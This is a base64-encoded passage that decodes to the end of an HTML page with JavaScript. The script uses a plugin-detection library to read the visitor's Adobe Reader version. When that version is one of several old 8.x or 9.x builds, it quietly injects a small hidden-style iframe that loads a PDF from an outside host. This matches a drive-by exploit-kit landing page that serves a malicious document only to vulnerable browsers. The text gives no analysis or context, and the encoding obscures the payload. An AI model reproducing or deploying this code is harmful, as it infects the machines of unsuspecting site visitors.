lPWR9CgkJYy5nYXJiYWdlPWZhbHNlOwoJCWlmKGMuaXNJRSYmIWMuQWN0aXZlWEVuYWJsZWQmJmQhPT0iamF2YSIpe2Euc3RhdHVzPS0yO3JldHVybiBhfQoJCWEuc3RhdHVzPTE7CgkJcmV0dXJuIGEKCX0sCgkKCWZQdXNoOmZ1bmN0aW9uKGIsYSl7dmFyIGM9dGhpcztpZihjLmlzQXJyYXkoYSkmJihjLmlzRnVuYyhiKXx8KGMuaXNBcnJheShiKSYmYi5sZW5ndGg+MCYmYy5pc0Z1bmMoYlswXSkpKSl7YS5wdXNoKGIpfX0sCgkKCWNhbGxBcnJheTpmdW5jdGlvbihiKXt2YXIgYz10aGlzLGE7aWYoYy5pc0FycmF5KGIpKXtmb3IoYT0wO2E8Yi5sZW5ndGg7YSsrKXtpZihiW2FdPT09bnVsbCl7cmV0dXJufWMuY2FsbChiW2FdKTtiW2FdPW51bGx9fX0sCgkKCWNhbGw6ZnVuY3Rpb24oYyl7dmFyIGI9dGhpcyxhPWIuaXNBcnJheShjKT9jLmxlbmd0aDotMTtpZihhPjAmJmIuaXNGdW5jKGNbMF0pKXtjWzBdKGIsYT4xP2NbMV06MCxhPjI/Y1syXTowLGE+Mz9jWzNdOjApfWVsc2V7aWYoYi5pc0Z1bmMoYykpe2MoYil9fX0sCgkKCWdldFZlcnNpb25EZWxpbWl0ZXI6IiwiLCQkZ2V0VmVyc2lvbjpmdW5jdGlvbihhKXtyZXR1cm4gZnVuY3Rpb24oZyxkLGMpe3ZhciBlPWEuaW5pdChnKSxmLGIsaD17fTtpZihlLnN0YXR1czwwKXtyZXR1cm4gbnVsbH07Zj1lLnBsdWdpbjtpZihmLmdldFZlcnNpb25Eb25lIT0xKXtmLmdldFZlcnNpb24obnVsbCxkLGMpO2lmKGYuZ2V0VmVyc2lvbkRvbmU9PT1udWxsKXtmLmdldFZlcnNpb25Eb25lPTF9fWEuY2xlYW51cCgpO2I9KGYudmVyc2lvbnx8Zi52ZXJzaW9uMCk7Yj1iP2IucmVwbGFjZShhLnNwbGl0TnVtUmVneCxhLmdldFZlcnNpb25EZWxpbWl0ZXIpOmI7cmV0dXJuIGJ9fSwKCQoJY2xlYW51cDpmdW5jdGlvbigpe30sCgkKCWFkZFdpbkV2ZW50OmZ1bmN0aW9uKGQsYyl7dmFyIGU9dGhpcyxhPXdpbmRvdyxiO2lmKGUuaXNGdW5jKGMpKXtpZihhLmFkZEV2ZW50TGlzdGVuZXIpe2EuYWRkRXZlbnRMaXN0ZW5lcihkLGMsZmFsc2UpfWVsc2V7aWYoYS5hdHRhY2hFdmVudCl7YS5hdHRhY2hFdmVudCgib24iK2QsYyl9ZWxzZXtiPWFbIm9uIitkXTthWyJvbiIrZF09ZS53aW5IYW5kbGVyKGMsYil9fX19LAoJCgl3aW5IYW5kbGVyOmZ1bmN0aW9uKGQsYyl7cmV0dXJuIGZ1bmN0aW9uKCl7ZCgpO2lmKHR5cGVvZiBjPT0iZnVuY3Rpb24iKXtjKCl9fX0sCgkKCVdMZnVuY3MwOltdLAoJV0xmdW5jczpbXSwKCQoJcnVuV0xmdW5jczpmdW5jdGlvbihhKXt2YXIgYj17fTthLndpbkxvYWRlZD10cnVlO2EuY2FsbEFycmF5KGEuV0xmdW5jczApO2EuY2FsbEFycmF5KGEuV0xmdW5jcyk7aWYoYS5vbkRvbmVFbXB0eURpdil7YS5vbkRvbmVFbXB0eURpdigpfX0sCgkKCXdpbkxvYWRlZDpmYWxzZSwKCQoJJCRvbldpbmRvd0xvYWRlZDpmdW5jdGlvbihhKXtyZXR1cm4gZnVuY3Rpb24oYil7aWYoYS53aW5Mb2FkZWQpe2EuY2FsbChiKX1lbHNle2EuZlB1c2goYixhLldMZnVuY3MpfX19LAoJCglkaXY6bnVsbCwKCWRpdklEOiJTYWlnb24iLAoJZGl2V2lkdGg6NTAsCglwbHVnaW5TaXplOjEsCgkKCWVtcHR5RGl2OmZ1bmN0aW9uKCl7dmFyIGQ9dGhpcyxiLGgsYyxhLGYsZztpZihkLmRpdiYmZC5kaXYuY2hpbGROb2Rlcyl7Zm9yKGI9ZC5kaXYuY2hpbGROb2Rlcy5sZW5ndGgtMTtiPj0wO2ItLSl7Yz1kLmRpdi5jaGlsZE5vZGVzW2JdO2lmKGMmJmMuY2hpbGROb2Rlcyl7Zm9yKGg9Yy5jaGlsZE5vZGVzLmxlbmd0aC0xO2g+PTA7aC0tKXtnPWMuY2hpbGROb2Rlc1toXTt0cnl7Yy5yZW1vdmVDaGlsZChnKX1jYXRjaChmKXt9fX1pZihjKXt0cnl7ZC5kaXYucmVtb3ZlQ2hpbGQoYyl9Y2F0Y2goZil7fX19fWlmKCFkLmRpdil7YT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChkLmRpdklEKTtpZihhKXtkLmRpdj1hfX1pZihkLmRpdiYmZC5kaXYucGFyZW50Tm9kZSl7dHJ5e2QuZGl2LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZC5kaXYpfWNhdGNoKGYpe31kLmRpdj1udWxsfX0sCgkKCURPTkVmdW5jczpbXSwKCQoJb25Eb25lRW1wdHlEaXY6ZnVuY3Rpb24oKXt2YXIgYz10aGlzLGEsYjtpZighYy53aW5Mb2FkZWQpe3JldHVybn1pZihjLldMZnVuY3MmJmMuV0xmdW5jcy5sZW5ndGgmJmMuV0xmdW5jc1tjLldMZnVuY3MubGVuZ3RoLTFdIT09bnVsbCl7cmV0dXJufWZvcihhIGluIGMpe2I9Y1thXTtpZihiJiZiLmZ1bmNzKXtpZihiLk9URj09Myl7cmV0dXJufWlmKGIuZnVuY3MubGVuZ3RoJiZiLmZ1bmNzW2IuZnVuY3MubGVuZ3RoLTFdIT09bnVsbCl7cmV0dXJufX19Zm9yKGE9MDthPGMuRE9ORWZ1bmNzLmxlbmd0aDthKyspe2MuY2FsbEFycmF5KGMuRE9ORWZ1bmNzKX1jLmVtcHR5RGl2KCl9LAoJCglnZXRXaWR0aDpmdW5jdGlvbihjKXtpZihjKXt2YXIgYT1jLnNjcm9sbFdpZHRofHxjLm9mZnNldFdpZHRoLGI9dGhpcztpZihiLmlzTnVtKGEpKXtyZXR1cm4gYX19cmV0dXJuIC0xfSwKCQoJZ2V0VGFnU3RhdHVzOmZ1bmN0aW9uKG0sZyxhLGIpe3ZhciBjPXRoaXMsZixrPW0uc3BhbixsPWMuZ2V0V2lkdGgoayksaD1hLnNwYW4saj1jLmdldFdpZHRoKGgpLGQ9Zy5zcGFuLGk9Yy5nZXRXaWR0aChkKTtpZigha3x8IWh8fCFkfHwhYy5nZXRET01vYmoobSkpe3JldHVybiAtMn1pZihqPGl8fGw8MHx8ajwwfHxpPDB8fGk8PWMucGx1Z2luU2l6ZXx8Yy5wbHVnaW5TaXplPDEpe3JldHVybiAwfWlmKGw+PWkpe3JldHVybiAtMX10cnl7aWYobD09Yy5wbHVnaW5TaXplJiYoIWMuaXNJRXx8Yy5nZXRET01vYmoobSkucmVhZHlTdGF0ZT09NCkpe2lmKCFtLndpbkxvYWRlZCYmYy53aW5Mb2FkZWQpe3JldHVybiAxfWlmKG0ud2luTG9hZGVkJiZjLmlzTnVtKGIpKXtpZighYy5pc051bShtLmNvdW50KSl7bS5jb3VudD1ifWlmKGItbS5jb3VudD49MTApe3JldHVybiAxfX19fWNhdGNoKGYpe31yZXR1cm4gMH0sCgkKCWdldERPTW9iajpmdW5jdGlvbihnLGEpe3ZhciBmLGQ9dGhpcyxjPWc/Zy5zcGFuOjAsYj1jJiZjLmZpcnN0Q2hpbGQ/MTowO3RyeXtpZihiJiZhKXtkLmRpdi5mb2N1cygpfX1jYXRjaChmKXt9cmV0dXJuIGI/Yy5maXJzdENoaWxkOm51bGx9LAoJCglzZXRTdHlsZTpmdW5jdGlvbihiLGcpe3ZhciBmPWIuc3R5bGUsYSxkLGM9dGhpcztpZihmJiZnKXtmb3IoYT0wO2E8Zy5sZW5ndGg7YT1hKzIpe3RyeXtmW2dbYV1dPWdbYSsxXX1jYXRjaChkKXt9fX19LAoJCglpbnNlcnREaXZJbkJvZHk6ZnVuY3Rpb24oYSxpKXt2YXIgaCxmPXRoaXMsYj0icGQzMzk5MzM5OSIsZD1udWxsLGo9aT93aW5kb3cudG9wLmRvY3VtZW50OndpbmRvdy5kb2N1bWVudCxjPSI8IixnPShqLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF18fGouYm9keSk7aWYoIWcpe3RyeXtqLndyaXRlKGMrJ2RpdiBpZD0iJytiKyciPm8nK2MrIi9kaXY+Iik7ZD1qLmdldEVsZW1lbnRCeUlkKGIpfWNhdGNoKGgpe319Zz0oai5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYm9keSIpWzBdfHxqLmJvZHkpO2lmKGcpe2lmKGcuZmlyc3RDaGlsZCYmZi5pc0RlZmluZWQoZy5pbnNlcnRCZWZvcmUpKXtnLmluc2VydEJlZm9yZShhLGcuZmlyc3RDaGlsZCl9ZWxzZXtnLmFwcGVuZENoaWxkKGEpfWlmKGQpe2cucmVtb3ZlQ2hpbGQoZCl9fWVsc2V7fX0sCgkKCWluc2VydEhUTUw6ZnVuY3Rpb24oZyxiLGgsYSxsKXsKCQl2YXIgbSxuPWRvY3VtZW50LGs9dGhpcyxxLHA9bi5jcmVhdGVFbGVtZW50KCJzcGFuIiksbyxqLGY9IjwiOwoJCXZhciBjPVsib3V0bGluZVN0eWxlIiwibm9uZSIsImJvcmRlclN0eWxlIiwibm9uZSIsInBhZGRpbmciLCIwcHgiLCJtYXJnaW4iLCIwcHgiLCJ2aXNpYmlsaXR5IiwidmlzaWJsZSJdOwoJCXZhciBpPSJvdXRsaW5lLXN0eWxlOm5vbmU7Ym9yZGVyLXN0eWxlOm5vbmU7cGFkZGluZzowcHg7bWFyZ2luOjBweDt2aXNpYmlsaXR5OnZpc2libGU7IjsKCQlpZighay5pc0RlZmluZWQoYSkpe2E9IiJ9CgkJaWYoay5pc1N0cmluZyhnKSYmKC9bXlxzXS8pLnRlc3QoZykpe2c9Zy50b0xvd2VyQ2FzZSgpLnJlcGxhY2UoL1xzL2csIiIpO3E9ZitnKycgd2lkdGg9Iicray5wbHVnaW5TaXplKyciIGhlaWdodD0iJytrLnBsdWdpblNpemUrJyIgJztxKz0nc3R5bGU9IicraSsnZGlzcGxheTppbmxpbmU7IiAnO2ZvcihvPTA7bzxiLmxlbmd0aDtvPW8rMil7aWYoL1teXHNdLy50ZXN0KGJbbysxXSkpe3ErPWJbb10rJz0iJytiW28rMV0rJyIgJ319cSs9Ij4iO2ZvcihvPTA7bzxoLmxlbmd0aDtvPW8rMil7aWYoL1teXHNdLy50ZXN0KGhbbysxXSkpe3ErPWYrJ3BhcmFtIG5hbWU9IicraFtvXSsnIiB2YWx1ZT0iJytoW28rMV0rJyIgLz4nfX1xKz1hK2YrIi8iK2crIj4ifQoJCWVsc2V7cT1hfQoJCWlmKCFrLmRpdil7aj1uLmdldEVsZW1lbnRCeUlkKGsuZGl2SUQpO2lmKGope2suZGl2PWp9ZWxzZXtrLmRpdj1uLmNyZWF0ZUVsZW1lbnQoImRpdiIpO2suZGl2LmlkPWsuZGl2SUR9ay5zZXRTdHlsZShrLmRpdixjLmNvbmNhdChbIndpZHRoIixrLmRpdldpZHRoKyJweCIsImhlaWdodCIsKGsucGx1Z2luU2l6ZSszKSsicHgiLCJmb250U2l6ZSIsKGsucGx1Z2luU2l6ZSszKSsicHgiLCJsaW5lSGVpZ2h0Iiwoay5wbHVnaW5TaXplKzMpKyJweCIsInZlcnRpY2FsQWxpZ24iLCJiYXNlbGluZSIsImRpc3BsYXkiLCJibG9jayJdKSk7aWYoIWope2suc2V0U3R5bGUoay5kaXYsWyJwb3NpdGlvbiIsImFic29sdXRlIiwicmlnaHQiLCIwcHgiLCJ0b3AiLCIwcHgiXSk7ay5pbnNlcnREaXZJbkJvZHkoay5kaXYpfX0KCQlpZihrLmRpdiYmay5kaXYucGFyZW50Tm9kZSl7ay5zZXRTdHlsZShwLGMuY29uY2F0KFsiZm9udFNpemUiLChrLnBsdWdpblNpemUrMykrInB4IiwibGluZUhlaWdodCIsKGsucGx1Z2luU2l6ZSszKSsicHgiLCJ2ZXJ0aWNhbEFsaWduIiwiYmFzZWxpbmUiLCJkaXNwbGF5IiwiaW5saW5lIl0pKTt0cnl7cC5pbm5lckhUTUw9cX1jYXRjaChtKXt9O3RyeXtrLmRpdi5hcHBlbmRDaGlsZChwKX1jYXRjaChtKXt9O3JldHVybntzcGFuOnAsd2luTG9hZGVkOmsud2luTG9hZGVkLHRhZ05hbWU6ZyxvdXRlckhUTUw6cX19CgkJcmV0dXJue3NwYW46bnVsbCx3aW5Mb2FkZWQ6ay53aW5Mb2FkZWQsdGFnTmFtZToiIixvdXRlckhUTUw6cX0KCX0sCgkKCVBsdWdpbnM6ewoJCWFkb2JlcmVhZGVyOnsKCQkJbWltZVR5cGU6ImFwcGxpY2F0aW9uL3BkZiIsCgkJCW5hdlBsdWdpbk9iajpudWxsLAoJCQlwcm9nSUQ6WyJBY3JvUERGLlBERiIsIlBERi5QZGZDdHJsIl0sCgkJCWNsYXNzSUQ6ImNsc2lkOkNBOEE5NzgwLTI4MEQtMTFDRi1BMjRELTQ0NDU1MzU0MDAwMCIsCgkJCUlOU1RBTExFRDp7fSwKCQkJcGx1Z2luSGFzTWltZVR5cGU6ZnVuY3Rpb24oZCxjLGYpe3ZhciBiPXRoaXMsZT1iLiQsYTtmb3IoYSBpbiBkKXtpZihkW2FdJiZkW2FdLnR5cGUmJmRbYV0udHlwZT09Yyl7cmV0dXJuIDF9fWlmKGUuZ2V0TWltZUVuYWJsZWRQbHVnaW4oYyxmKSl7cmV0dXJuIDF9cmV0dXJuIDB9LAoJCQlnZXRWZXJzaW9uOmZ1bmN0aW9uKGwsail7CgkJCQl2YXIgZz10aGlzLAoJCQkJZD1nLiQsaSxmLG0sbixiPW51bGwsaD1udWxsLGs9Zy5taW1lVHlwZSxhLGM7CgkJCQlpZihkLmlzU3RyaW5nKGopKXtqPWoucmVwbGFjZSgvXHMvZywiIik7aWYoail7az1qfX0KCQkJCWVsc2V7aj1udWxsfQoJCQkJaWYoZC5pc0RlZmluZWQoZy5JTlNUQUxMRURba10pKXtnLmluc3RhbGxlZD1nLklOU1RBTExFRFtrXTtyZXR1cm59CgkJCQlpZighZC5pc0lFKXsKCQkJCQlhPSJBZG9iZS4qUERGLipQbHVnLT9pbnxBZG9iZS4qQWNyb2JhdC4qUGx1Zy0/aW58QWRvYmUuKlJlYWRlci4qUGx1Zy0/aW4iOwoJCQkJCWlmKGcuZ2V0VmVyc2lvbkRvbmUhPT0wKXtnLmdldFZlcnNpb25Eb25lPTA7Yj1kLmdldE1pbWVFbmFibGVkUGx1Z2luKGcubWltZVR5cGUsYSk7aWYoIWope249Yn1pZighYiYmZC5oYXNNaW1lVHlwZShnLm1pbWVUeXBlKSl7Yj1kLmZpbmROYXZQbHVnaW4oYSwwKX1pZihiKXtnLm5hdlBsdWdpbk9iaj1iO2g9ZC5nZXROdW0oYi5kZXNjcmlwdGlvbil8fGQuZ2V0TnVtKGIubmFtZSk7aD1kLmdldFBsdWdpbkZpbGVWZXJzaW9uKGIsaCk7aWYoIWgmJmQuT1M9PTEpe2lmKGcucGx1Z2luSGFzTWltZVR5cGUoYiwiYXBwbGljYXRpb24vdm5kLmFkb2JlLnBkZnhtbCIsYSkpe2g9IjkifWVsc2V7aWYoZy5wbHVnaW5IYXNNaW1lVHlwZShiLCJhcHBsaWNhdGlvbi92bmQuYWRvYmUueC1tYXJzIixhKSl7aD0iOCJ9fX19fQoJCQkJCWVsc2V7aD1nLnZlcnNpb259CgkJCQkJaWYoIWQuaXNEZWZpbmVkKG4pKXtuPWQuZ2V0TWltZUVuYWJsZWRQbHVnaW4oayxhKX0KCQkJCQlnLmluc3RhbGxlZD1uJiZoPzE6KG4/MDooZy5uYXZQbHVnaW5PYmo/LTAuMjotMSkpCgkJCQl9CgkJCQllbHNle2I9ZC5nZXRBWE8oZy5wcm9nSURbMF0pfHxkLmdldEFYTyhnLnByb2dJRFsxXSk7Yz0vPVxzKihbXGRcLl0rKS9nO3RyeXtmPShifHxkLmdldERPTW9iaihkLmluc2VydEhUTUwoIm9iamVjdCIsWyJjbGFzc2lkIixnLmNsYXNzSURdLFsic3JjIiwiIl0sIiIsZykpKS5HZXRWZXJzaW9ucygpO2ZvcihtPTA7bTw1O20rKyl7aWYoYy50ZXN0KGYpJiYoIWh8fFJlZ0V4cC4kMT5oKSl7aD1SZWdFeHAuJDF9fX1jYXRjaChpKXt9Zy5pbnN0YWxsZWQ9aD8xOihiPzA6LTEpfQoJCQkJaWYoIWcudmVyc2lvbil7Zy52ZXJzaW9uPWQuZm9ybWF0TnVtKGgpfQoJCQkJZy5JTlNUQUxMRURba109Zy5pbnN0YWxsZWQKCQkJfQoJCX0sCgkJeno6MAoJfQp9OwoKU2FpZ29uLmluaXRTY3JpcHQoKTsKCmxsbGxtZz1TYWlnb24uZ2V0VmVyc2lvbigiQWRvYmVSZWFkZXIiKTsKCmlmKGxsbGxtZyl7CgoJbGxsbG1nPWxsbGxtZy5zcGxpdCgnLCcpOwoKCXZhciBhdHR3ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7CgoJeWFwYSA9ICI8aWZyYW1lIHdpZHRoPSc4MCcgaGVpZ2h0PSc4MCcgc3JjPSdodHRwOi8vay4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uby5jb20vOTg3NjUucGRmJyBmcmFtZWJvcmRlcj0nMCcgc2Nyb2xsaW5nPSdubyc+PC9pZnJhbWU+IjsKCglpZiAoKGxsbGxtZ1swXT09OCAmJiBsbGxsbWdbMV08PTIpfHwobGxsbG1nWzBdPT05ICYmIGxsbGxtZ1sxXTw9MykpewoJCWF0dHcuaW5uZXJIVE1MID0geWFwYTsKCgkJZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhdHR3KTsJCgoJfQoKfQoKPC9zY3JpcHQ+Cgo8L2JvZHk+PC9odG1sPg==